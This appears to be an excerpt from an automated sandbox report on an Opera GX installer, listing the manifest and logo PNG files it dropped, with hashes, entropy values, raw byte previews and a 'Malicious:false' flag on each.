                                                                                                                                                                                                              SSDEEP:6:KdhlRu9TbX+A8/5RFYpQdkLdX0CdiYCWoA1G:KLuVA5cpQOLd07vWBG
                                                                                                                                                                                                              MD5:50A126BF655D8574DD35B265036ACE9D
                                                                                                                                                                                                              SHA1:278D696F83B19D41BD483C0DBC3278F29E6BEFCC
                                                                                                                                                                                                              SHA-256:F0C40B333B6D20B80A1CE6A74EDC06651F20EDE7132A2F98BDD2C88B53CA6439
                                                                                                                                                                                                              SHA-512:52BC5026A0D360BE6C1CD49478B5952EF8B2B971FE4941E2F21F2794FEE7AAE817DF27F71D7E71B636EDD827FE60622AF75B0D31E286AC3D12F8C7D2C28309C1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:<assembly.. xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>.. <assemblyIdentity.. name='114.0.5282.93'.. version='114.0.5282.93'.. type='win32'/>.. <file name='opera_elf.dll'/>..</assembly>..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\800c5644-aed1-4fce-97ea-b061c128f47e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):415824206
                                                                                                                                                                                                              Entropy (8bit):7.092013404137502
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B14AA869E60F1275F8AEDA7FF9673394
                                                                                                                                                                                                              SHA1:5BBB7CAD6B4F41F283F59BD2A08288A2E9007A71
                                                                                                                                                                                                              SHA-256:DAD91C6B22347BB01E236C664B95B507A9A4886BB4F9760D697D5AAE4A6CB292
                                                                                                                                                                                                              SHA-512:14BD6CD8F8C9A1171918DCBEF65FF8F3B8808AC1218AEC75AFAC1FF019C053CCD4EBDB5D497FCD87E3314B47569AB95BD7470E6A48D22DDD41D8D472A42D613C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:<assembly.. xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>.. <assemblyIdentity.. name='114.0.5282.93'.. version='114.0.5282.93'.. type='win32'/>.. <file name='opera_elf.dll'/>..</assembly>...PNG........IHDR.............<.q....LIDATx...1..... ..6.^`...................{........m.m].m.m.m........[s....._.....N.Nw..._w..P...R... ......`........_[.i1...`.$.......C......*..,...v.l.>.ZP.B...E@......!?d..!.d.R......g)0...^H[.u.4.k`....0<.d.1.....0...Q`..I.._T..!...|pG.m=..a&.e.U(...C...n.^`........FB.X...Oio...z!...:.Tx.8;..9.[a........{.~.^......P.].r..d..A...?....<y.v"......l......^..._.....MA.o....?.>u._.d..`......E.@.5........E..................R...A..O}{.k..2.....jx\..5U.a.%."#.nA....6.!..W2.............R..j6r..v...."....N.GA..8.......>..p..#..,X.....Q...y..#.a..)....Q.e.zc\.'@.Al.....io....=......D.......F......A#6.^.^.Ma5...b.b...D...+.P.. .[.o..z....,...#<U.0.O.#..Z..........Q{...jA..ka|}...q.s.y^.!.Gh..R....t.g....F.......g

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\150x150Logo.scale-100.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2181
                                                                                                                                                                                                              Entropy (8bit):7.807674908350133
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Pe+1prHq0WWdnFX5lKhqEiJVk10s5pqe/cme:G+1prHqXkhrWqEiJa10ae
                                                                                                                                                                                                              MD5:B5A21B88B3D8A42DF265817EBEB742BB
                                                                                                                                                                                                              SHA1:E0BE32B4FC158DB4E9783094CCE614922114B742
                                                                                                                                                                                                              SHA-256:9635C074C9D8EDDE0BAF3111DBD7DB49CBDC370C4F729C80AC382949F32BE526
                                                                                                                                                                                                              SHA-512:21ECE0DCF17B038400D09565438FCE8BE61746DAA0250F2FA9D0526BBA3D1CE6F8DA5CCE944EF8FA685C5EB6CF857B073D2A50ADA44A44A76D84813871FAA5D0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR.............<.q....LIDATx...1..... ..6.^`...................{........m.m].m.m.m........[s....._.....N.Nw..._w..P...R... ......`........_[.i1...`.$.......C......*..,...v.l.>.ZP.B...E@......!?d..!.d.R......g)0...^H[.u.4.k`....0<.d.1.....0...Q`..I.._T..!...|pG.m=..a&.e.U(...C...n.^`........FB.X...Oio...z!...:.Tx.8;..9.[a........{.~.^......P.].r..d..A...?....<y.v"......l......^..._.....MA.o....?.>u._.d..`......E.@.5........E..................R...A..O}{.k..2.....jx\..5U.a.%."#.nA....6.!..W2.............R..j6r..v...."....N.GA..8.......>..p..#..,X.....Q...y..#.a..)....Q.e.zc\.'@.Al.....io....=......D.......F......A#6.^.^.Ma5...b.b...D...+.P.. .[.o..z....,...#<U.0.O.#..Z..........Q{...jA..ka|}...q.s.y^.!.Gh..R....t.g....F.......gt..6...7YjaU....0.*.......3..l.#.. =.h0t.06.v..C...T.}m..%...g..i,Cq..8.g.q..hx. .>..Kz...1....VF.)..q..$....._Z-.U...(....~>...-z]$.mh.%...e.+.....|.n.2..:...N._R..x..>.|S......i?.P....Q.F.d..U.8..i...T...........I.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\150x150Logo.scale-100_contrast-white.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 150 x 150, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1828
                                                                                                                                                                                                              Entropy (8bit):7.716814612583543
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:uIrxqF+qFL9yUaKagPWex0mLgIbPdyFKD0YTkogFey6mkAN7G:3wFRoGagTx0A4KDfTko6eCZG
                                                                                                                                                                                                              MD5:0BAE0648C3E320C4D439F158B4FD5531
                                                                                                                                                                                                              SHA1:4E860AE24F03522C89BDF37F3CCC10B54832861E
                                                                                                                                                                                                              SHA-256:28CE8FCB22080CE1F69346CB0720BBE5662959E413426F00062B706013DA8C28
                                                                                                                                                                                                              SHA-512:6A5E4105CCBE1664546798DB057B93622C9CBD6D5AF4967E6BE4E390A18FEC0FFCC807E3331F09ED0DE63ED85569BE7EC5EED5A7C663DF6CE4A5B70E09500371
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR................i....IDATx...i.]U........J..RT.H....T...seV..)b.B.5.@.a.Q..P.c. 2E....eR...P(.....P........I...s..v...y...u......Q.EQ.EQ.EQ.EQ.EQ.EQ.EQ.EQ...S.n...j.."....p..|B..]....>.......9.32.....Y.l.R..*y.\.8.4.....p.K..EY%}.5.h.[*.|.V..i.F..q~...;..W61.M5_..1F...Gj..IZ..u. ...*.w....oS..D.r.).U....j.y.#..y..U..;S.-"...n..v.^i.UW.j.hk...n.....,...LRe[.i.}....H.z@.9.q..".v.U9.""n.)....DD.iX.b.....*'....v5.#..~.$.7.]..Tm.....i......+....m...x.j_.'"NG.]..n.j.vl{..Ls...;.T.=E..3...1;.v..xB...*"^.1U..8...xL,7]...D.9.i.."..N.."...c..D...X...c+.t..8M...[......"f.........R..0R.1..Xh..;ND.=U.ID.a.....v..8...'.uct.....k.q>.q.jc.+b...F....r....AN.....}.....Y.J.k~.;4.3".U....s..$....n.q.b{.q.j......".Y_..E...b.=.S.".4...[...S....Y.6O.L...."...."......i../"..!M.>..4ED.....I..""60x.Ct.i...4.."..f..`(.....4..5.L....o........*W....xX.M...E..C...r.....U...8..<'.G.}D....E.k!.8...ED..iL...V.8.."b.C3[Dl..gED..^....-...NDL.iBs..O...`m..zW...k.A

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\150x150Logo.scale-140.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 210 x 210, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3140
                                                                                                                                                                                                              Entropy (8bit):7.81304512495968
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:96:X4+RWiQZwj2bSjtW8+i2elETWt5nQ1pzuiV8:ozEW8+iZECt9kzuie
                                                                                                                                                                                                              MD5:7E529063A02E4E83736B0263CB1B82E0
                                                                                                                                                                                                              SHA1:17A3C4B76962E90B1D2FA8A49441157949F4DC78
                                                                                                                                                                                                              SHA-256:A36A13A5D5E3D39E3018CCC5F8859944C87256F8BE24A3C08A6BF3CB06A26804
                                                                                                                                                                                                              SHA-512:571806725F83FECA90360B246D167A8857EDFD9EDC8DC0EF7EEEF80F291FD06088C405A5653513CB8AA309DF08CD609DF85A95E3379E3E5907566C876CA77CDE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR.............?..B....IDATx................................................{..dg.8....m....m.Z.m..;;y...s.GI?..Su..k=.T#..#.;..}/\.g..:b..a+.....t.A}...q..hq.-.}...`:.gk....tm.$...Ax.....B....c.ih....G6L.....;...T.U0...l....~...........W....=<j.....X..O.....r.Y..-..Q..1.....q`..PC..jL...x.'9........y.b=L.m..(U........a.....W......`:.Me.jh..U0.......;..{..I..|.W..C..4...b.nt.......L..a.........`9.!..7N@.......E.?..$.._.q..6..":.+`....W.O.G>o.F.K.c..G.28..Q.....|.....m..#X......N.P..{:...1.........4...F.....w......Z89.Y.w`.L...v.DC.h'......h...[=...c.2...&ze*h..t..j...@?..cpN......0...KC.....f..F.....2"...c1..m.)y..q..(..C,.e..!w.N@I..q4.......!.A...;q..Y..sy.{...."L.p..#<...'.-8.!u.C#...O;.......y<.=....h.c<.=...5N...s....._...p,..Ia...yo....=...Y..4...t.}m@....g._.......#.M{...t........t...;.bjh..l..84.C8..z....B9..[.D.R..}...r..e.pl...~.....<.~ `...Ep..b...L.^.9..x.vB..IZH.a,k..c..L..U...M0....}.n........H..<.!..B.(Y

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\150x150Logo.scale-140_contrast-white.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 210 x 210, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2659
                                                                                                                                                                                                              Entropy (8bit):7.828610258666657
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:zQX9JrPPPPPPnouwOlIbylOhFARjcSY1E1y0fAiKb+Y+GzYvpSYWTX5sPPPPPPPn:z0rPPPPPPojFby+m00fAiKiySSYWTXqP
                                                                                                                                                                                                              MD5:EBE7D27ED3B4CB6566A10165ABFAA941
                                                                                                                                                                                                              SHA1:FDF7C27058CF5DAF7061756E938A33C1BBB26C3D
                                                                                                                                                                                                              SHA-256:0BD63FE653885286E180FBDF6D1DADC66AF242B8ED6BD1D03D8C5ECCC20E91D7
                                                                                                                                                                                                              SHA-512:50EC8592D78F00A6387F06E077E0DEF88DB26723C0FB8632C4EA06F2E09488DB0FB82E0EB1F03DA53F9C750F6CEBD29F7889B1DE342E4F0AE69F88C4B7B1425B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...............V....*IDATx...{.]U}......"... .!.#..D .k..:.....5...6B..Q@+..lq.(%my.P..C-..Eb..<L5..<C!.1.$wu...f..}........5..Yk...^{.}..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)u.d.Y.b?t..Q.E.,u......$o.-..rK....nw..7..w.TF..-...5=.r....?N...a.N.....~7..7,...r..-..q.}..R....Ye#y.u...IF2...Z..6.o.F....R1<w..]T..H..zw{.k..Y.L.Fm.k.ay.W.P.....I..,5G..C..........v.]...].-R..A......1.a;J-..>E....Qe'............#^VF.J.J-.....LRe.....|....g.M.e.+<.l$gHM.l..y..T.s#.Ow.o+....=...4....P"..J...("...]...~....z...h...P.*..QD....Fg.a..7m...W.`.j..C.q...E....D........8.i..D...^c...J.,.../.&rH[M..9.4._kfzN..#..bD.....[.D.4M3.....2Cs.........._k.Z%....bs7+...wkf...'.%..D.j..!M4A.z-R.k5.....q+-.*&j,..GE......p..(.j_V"......i.M...7.....E..LUz.8>i..jm....[.T.].F.%Q.;.2.....X.x.....-...b...;EQ..dU...avR[..V...f....`,.....J........K...........NWe.....Z:YT.>..{....-..(.uvV......P.x...m..ku.)q..Z>9vU;.)..xTC........j"..ra..D..(..6...t.Ib.O.....D

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\150x150Logo.scale-180.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 270 x 270, 8-bit colormap, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3904
                                                                                                                                                                                                              Entropy (8bit):7.301300867894784
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Fe0zdfrjvg/ofL7NkqKgOL6bq64wL3XtakhXSTxyfO8cg7WZUScsO62vSQ6Q4MCR:JdfrYoDdbJlXBRSMoj6H626Qr45eg
                                                                                                                                                                                                              MD5:F332E088E89B88070EF1EFBECA5B90F8
                                                                                                                                                                                                              SHA1:86129A8B1E2E7F78D6CE23C58A37FAC9DA5E566D
                                                                                                                                                                                                              SHA-256:6A8F64754C75EDCC9ABC1138E44ACBD7064D7E8E2A28783939241DBD6AFA30A5
                                                                                                                                                                                                              SHA-512:2314AAE692C024F914661E46CFD76531DA6C09B94C084FE915A0594625927DF30282D09518A950EAFCFDD2E499B1E4877CF3CDBF5509DE0CC756DADCDE43FD45
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR.............Oo......PLTE.....N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N...*....tRNS..8Uq...........jO+..D......o3.0y..b...g..a...@........_....d'...7Qp......K;..^h.\.W.../...S....-..J......&......Y..I!.P.w#...uT |....:.V...1.z%.Fn.6....N..L..$.2.?.e.s".ti

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\150x150Logo.scale-180_contrast-white.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 270 x 270, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3673
                                                                                                                                                                                                              Entropy (8bit):7.8322183683928195
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:96:nBWR5fosUcvpqnOtkeU4ghCboMmSaj+5UZy:MvHUUMnOtpz4Csz65UZy
                                                                                                                                                                                                              MD5:98B9F7A4F4322E7B46DE392FD20F66E5
                                                                                                                                                                                                              SHA1:D009D227522206C40CF592E460C9642CD03B8769
                                                                                                                                                                                                              SHA-256:A706B332E6A846357A86C30D0E8BB7697E7DD55C2AE592DD45611DDCE0C0BF14
                                                                                                                                                                                                              SHA-512:3B3E5BAF3CFC57119E0812DE2816DF6C7DCB42E96C4891E47C4F32320FD3BE2F27A0118051A6651595BAAAA30069BB1C0D78AA701744A44534CABE7547D4BECD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR..............1.... IDATx...k.u.......:.....*.o..I..J...L.H.(a...1....6S.....b.6..2M...fD.M..TN.5..o qx....;g..}^........."""""""""""""""""""""""""""""""""""""""""""""""""""""""q2.3Qr..z..<r....D.w.2.".r.*...s.......\..)d+.XJ.A........8Vq....g...vo.%..B..._M{.a&.XZ;.|r.v%."NaN.Q..R6....c.cN..~H..M1.X..a'%.d,=iZwF2...;.l.xU.H[..i.6;q.....#.y...w...... m.$~..$...L\E...l. .IM2s5.==.%..-....|.:,.`..........<.c-.".\....l...3...j4...B.sn@....Oxb.%.....B......$...-...WC).j..ru.s+.{.2"..5.c.q.e-...;.`-O1...@.G.F3.El.'..>$...(....d....6....%.CG\.e.[8.5.!.#....`q.3.W]X.%...$y...&...DZI....K..W.x.....%.......H+.O%../..n...~....C4...9nAZ..`..F...2.S.khhtz.E.(.CX....Uf....^&J:..@....$M......(.2..U.].O'vc...mzxlm....obq.M6....,.."H...}J'\yll..,....Jx..$/..X.uH.&.].....r,P-...[9.Q...Lr:....(..>..|..;.h4V.%y.|.]...$#....[[..d...U. ..B.H9..d.26.#.w..5.b....q....oq..0Z.y.NP..1.c.V!!.D=.k1.:.?.q'-..w.]..B,P..B...|....+X....j,..2q....

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\150x150Logo.scale-80.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1723
                                                                                                                                                                                                              Entropy (8bit):7.769427546963699
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:MtXb2ikqrN+EMaUeTPMSEGS6CT/GF2MdJtDHBkZH39Hmgwiw:CXbzrzfUsUGS6A/ETJtHBYNG1iw
                                                                                                                                                                                                              MD5:1F2FB1BF463B2FF2BEC96784DEBFEF84
                                                                                                                                                                                                              SHA1:AE6F721AD937FE39F86602F71002435B18BF1EDD
                                                                                                                                                                                                              SHA-256:7E6B0D9EA7FDA1B5CA7A0B01290521DFF943DA4CBF1498412CA7D749DB42C32D
                                                                                                                                                                                                              SHA-512:0C92C4F75E620D0B636CFD83E89C69A44F6A96A00006FBD0B13637BA5DCC77C9B302029E62F4B80766811F31810F9C20AC1A98B65C38789951CA0E19A5BB6894
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...x...x.....9d6.....IDATx......... ..................s....P...m.m.m.m.m.6N......w.......-...g2/...)z.....K....~(^..`...j...z.^Sc.n.,.....0.VW..al6...a.....R0...k.Q..N..P.x.J[ol2..)o...A....x.....c.m;F...t.16.....L8....vb=AQ0.<.X).@....M......g.....k..,.AN...-..R......$....b..`...... %H....`6.g#..h.]q..5._.@dA..c0.;X....a.. .2...~..;.1..:.x.....q[@R....,4.w.v.._..s;.b..s.Qu5..U.|.6Zj...P..........\...qa. ..D..W.L...c.~.....A...F1g@x....V..`..,..D.=..d.i..Q...o.c...N......$.`....]...P}.G....BT. .?.......L.n..+nG./..cC.>0.N1.\.C..B..4.l./L.3....T.c.S..bf.0..t...J..!.aU..p`.....0./..}.iL.).w..hc.M..'.. ..;'.p.Rt....R.g......8.%14...S....<.Jf./@..U.h'.G.R..D.\..z.4......<....*2K.S.bj.1....=.../pd.........cfPL$7....S[.M.%H.M..W..T...ZP.aA~....D...+..~EYK.#..zOZ.]fA~...fz..].....7.>..|.........[...v..M..vb.........L....z.`.P...X..RP{.....`...+.0...l/..>...i.w...W. .....x....T...............t..+B}d*`/..+.;L...J..._...iC..pv..gA~..k.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\150x150Logo.scale-80_contrast-white.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 120 x 120, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1425
                                                                                                                                                                                                              Entropy (8bit):7.721284228612739
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:sRv0SxfL9UEp3g4/RjUG894TBRVPvhjfghucgXy2nRlWzIXQuohMU9ocyMDh:sRv0sq4/tU10XVPZjhy0Izy9srWcyUh
                                                                                                                                                                                                              MD5:17471BB63ED62A6E545B6B626A763511
                                                                                                                                                                                                              SHA1:586B9EFDE7B3A04580A49F8FE7739593D42D303E
                                                                                                                                                                                                              SHA-256:DFD1054F989CDEE25F19EA792F363F042A125CAB537A424F0224BBEE13607E39
                                                                                                                                                                                                              SHA-512:F619D963B62EDB07C8077C3C6AE60ED8D3F3DD5BB1D05A2B83DCA1A7A4A346598B055F6C7EA22E05BF281B1DE0F205F5D1054819000759D9450EE1FE8F6491AE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...x...x......m.Y...XIDATx...m..e....}....d...9]9\...r2..L..37...S..."s..SV..].t).*.I..dh.Em..`A ...9.`......./..u.}...........v].KUUUUUUUUUUUUUU...~.p.....M.6Y..l.]...Fv..W;..o..d.l...r..{.d..r....a....r.y...@..>.z..C.l.qh............7{E:d.w.W..ZD.2[.~_..y^4.q.!./;GK......Z."s.m..9...{^.g...g...i..[$"F..x.Pj9.b[E...,.q.^.......v. w...4.I.E\....D....9......C".Q.._El0].=.Z`?.>gD....&Y-b...+E...(.f..~`..."^....Z...:\.h....S.v.v-KE,.8.....W.....Ag.V.....q..yD.<..6....x.d.N.....d..?.Q...[..".WZ&.,....v......Z...vG..k.4."...tv....".T.K.L.q..sQZ%.M3V..D...D.!.-.T.*b.n|W.u..xVl....X..._.."...n...5...W.?.1U7Z...p.>#.R.p..#QzJl.;D\..;E....Q..zl.w..wD.4 .j.u....D,.SE<..Bl.........U.Z.[D..._.4K..u.....mJ.e....&.m......-7*..X...:T.K.}..;~....."6(...O..(M..=.#.q.{..xHl..E,...v...3.`......X.[.E|S.IF......C.b.....r......9....o.\.x..WM..J..5.&.IJ......|...........q.J..!{t9L.Y.}D./5.."Vv|./4V.v....i...8Ji......ae18...>.q....0...X.,

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\70x70Logo.scale-100.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1564
                                                                                                                                                                                                              Entropy (8bit):7.78686155071436
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:kO3Sxd5HLMZAoBjXkaBPxrX6hzB6eCvTYJSM2nY2YptQ/ceAV5ulBbYZwix2:MLLMWcV2z8nryWY2SDV5uPsqiw
                                                                                                                                                                                                              MD5:C3722E0232EC20AC8F99CCE7A040B294
                                                                                                                                                                                                              SHA1:91CA47DA87EC045ED3EF5D97243167F08FB9E10B
                                                                                                                                                                                                              SHA-256:A333D7E4293F5269426B3FCB673A284F3708A66F957DE62403B6570B24BAE8F5
                                                                                                                                                                                                              SHA-512:71940B8431E36307BA5176939A169B9259BB6B43C32529A10A12C5EA31447BDDCCAD7EB9EF7CB309B175EE7BD56E70926BD5AA0855D0FD9497547ECD7FF93158
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...F...F.....q......IDATx.....L../..m.m.m.m.m{.._...+...d...[.|..y.'.{8..N8..N8....x0..$.iA&..d..@r........&X...../.z..../.....{..../u~....|.._4$5..4...6....q..P..D.U...u...W....o@#..j .o....j...r..MI.n..X.RI.]..W*g.g..;...|.D...2..._.#..$.....A......I..r..GOF#F...L)..P.8.....G.. .l.m..J.=(+.{..@#....CH..|.:..n.%..0..*.{...O.+.Q.ORp...7L)dxS2H..Ge....e....$..k....iJT.~...eZP..A2....g..PUB..|....v.......>..k..~h3...40.x...(.......v.%.F......vl..h`>...P...4...W4.D...\o.9...z....3]........`.}t.......XI.[z..%....S<.e... .D..TA...'.....h....l...,...$7.......0,%....I[Au"...d&?.j......,..|...~F..pB...]......L.]d.v5...U%..h:}%..._.$...X.m.....S.yL...Bc.R;K..8...*..TiP.}5.g..p..m..s].ZU....H.{P.!,..?......t.U....=m-<.a.v..I$...u.T5..LG..b]...c6.19d;k%...3......,..I.[.1..:...YN...h.*5...W..._....dL6.v.Rch..~...i.1G....|].AU.k...H.[Q.a,6.5-....Gt.9U......n(.#...D.v......_.*...@I.}...i.u.@..w.T%..*.&Y.:o.X..3.Z.m..fW..5.....D...

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\70x70Logo.scale-100_contrast-white.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 70 x 70, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1341
                                                                                                                                                                                                              Entropy (8bit):7.829707677562043
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:vHNfCYvjHq3yow73tnF7H1r8IR07iBa/ptAFjLmocqM3LNpi+MaG9vz:vHsY7Hq3QzT7H1r8Wr0/zAxfyLNp1Pab
                                                                                                                                                                                                              MD5:504D80D276ADCC0163A8E4720013F9E7
                                                                                                                                                                                                              SHA1:6D34A0593FFCE916CD19B66D61004FD7E7EB2CD1
                                                                                                                                                                                                              SHA-256:EBBE0B4761EA8968A0A3FAFB383AC7AE175E98CD31A0F41BDF5FCB43469B58EC
                                                                                                                                                                                                              SHA-512:9961259704FF97C0E1899A33259F62155B73264E272064F3FA90E64124513C7C8BD6AB69A39C1EFB271ECC2972AB8FD86FB836F22153A9BB35419C3816D11337
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...F...F......'*.....IDATx...{L.U......#A../.9S.&:/..%]ti...TL][Hm.n..8,gsZ..Zk....:u....lF...".I..[.H(.q...{.sx.</......y....9.9.<."""""l%.J..2.L...xFp?...?.8....:N.M..`2.i..M.uZZ+'..C......9.f.1.X.}He....b...$..V.."..'T........[.s..}..F.........t.lnK..d.5...Yr..ld..x.\...iP... ....X......a ...i.C.D.E.H.&......Y....h..G.....1..h..C..>t...$...m..+..../.<.n4.."..(w..%,.R-...t.$.?..#.QB.+.ep..-.....r3.LYo....A...1CVK..$=.ER....}.o.m<.....#....D]O 1\..}..^....,.|[..L..j..`...n.,...C.N.K..U...k..(.IF......1.....B6..X..U......oK..cvm...tP.....,lM....iAq.+...~.t..M.&...0......i(.y.Gq......Zw.,.H.|... .H...zXR...>....K... )S...E......V..H0UR*...P.....\.I......n.fj*.*|..1...U(=.....~@=.X....Hq...4.....D..4S-...x.t;.....X0.....`....j....+..X8....z.t..DV.6c.\....=Ri2.y.{ac..../Gv./....X.n..o....x..ha.d.....p..V.QRg....8...?.[Qrxo!...r....Ni.4tOHz...Ca...z.K....er....3...;....(.0..[r)6.J.3.S'..(.v....l..~t..".&Fwx..M....P....>.7.E.Z.Y.%.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\70x70Logo.scale-140.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 98 x 98, 8-bit/color RGBA, non-interlaced
